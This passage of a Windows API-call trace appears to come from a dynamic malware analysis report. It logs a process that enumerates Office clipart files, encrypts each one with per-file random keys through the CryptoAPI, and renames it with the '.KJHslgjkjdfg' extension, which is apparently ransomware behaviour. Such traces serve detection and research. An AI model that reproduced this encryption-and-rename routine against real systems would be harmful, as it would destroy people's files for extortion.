Office\\CLIPART\\PUB60COR\\PE00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.kjhslgjkjdfg")) returned 1 [0206.857] CloseHandle (hObject=0x130) returned 1 [0206.857] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0206.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.858] GetProcessHeap () returned 0x990000 [0206.858] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.858] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.859] GetProcessHeap () returned 0x990000 [0206.859] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.859] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.859] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.859] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.862] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.862] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.862] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.862] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.862] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x26b0, lpOverlapped=0x0) returned 1 [0206.863] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26b0, dwBufLen=0x26b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26b0) returned 1 [0206.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.863] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x26b0, lpOverlapped=0x0) returned 1 [0206.864] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.864] SetEndOfFile (hFile=0x130) returned 1 [0206.866] GetProcessHeap () returned 0x990000 [0206.866] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.866] GetProcessHeap () returned 0x990000 [0206.866] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.kjhslgjkjdfg")) returned 1 [0206.868] CloseHandle (hObject=0x130) returned 1 [0206.868] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0206.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.869] GetProcessHeap () returned 0x990000 [0206.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.869] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.869] GetProcessHeap () returned 0x990000 [0206.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.869] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.869] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.872] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.872] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.872] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.873] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5670, lpOverlapped=0x0) returned 1 [0206.874] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5670, dwBufLen=0x5670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5670) returned 1 [0206.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.874] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5670, lpOverlapped=0x0) returned 1 [0206.874] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.875] SetEndOfFile (hFile=0x130) returned 1 [0206.876] GetProcessHeap () returned 0x990000 [0206.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.876] GetProcessHeap () returned 0x990000 [0206.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.kjhslgjkjdfg")) returned 1 [0206.878] CloseHandle (hObject=0x130) returned 1 [0206.878] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0206.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.879] GetProcessHeap () returned 0x990000 [0206.879] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.879] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.879] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0206.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.884] GetProcessHeap () returned 0x990000 [0206.884] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.884] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.884] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.885] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.885] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.885] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.885] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.885] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ae6, lpOverlapped=0x0) returned 1 [0206.886] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1af0) returned 1 [0206.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.886] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1af0, lpOverlapped=0x0) returned 1 [0206.886] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.887] SetEndOfFile (hFile=0x130) returned 1 [0206.889] GetProcessHeap () returned 0x990000 [0206.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.889] GetProcessHeap () returned 0x990000 [0206.889] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.kjhslgjkjdfg")) returned 1 [0206.891] CloseHandle (hObject=0x130) returned 1 [0206.891] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0206.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.893] GetProcessHeap () returned 0x990000 [0206.893] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.893] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.896] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.896] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.896] GetProcessHeap () returned 0x990000 [0206.896] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.896] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.896] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.896] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.896] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.896] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.896] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.897] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.897] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1928, lpOverlapped=0x0) returned 1 [0206.899] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1930, dwBufLen=0x1930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1930) returned 1 [0206.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.899] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1930, lpOverlapped=0x0) returned 1 [0206.899] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.899] SetEndOfFile (hFile=0x130) returned 1 [0206.902] GetProcessHeap () returned 0x990000 [0206.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.902] GetProcessHeap () returned 0x990000 [0206.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.kjhslgjkjdfg")) returned 1 [0206.904] CloseHandle (hObject=0x130) returned 1 [0206.904] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0206.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.905] GetProcessHeap () returned 0x990000 [0206.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.905] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.905] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0206.909] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.909] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, 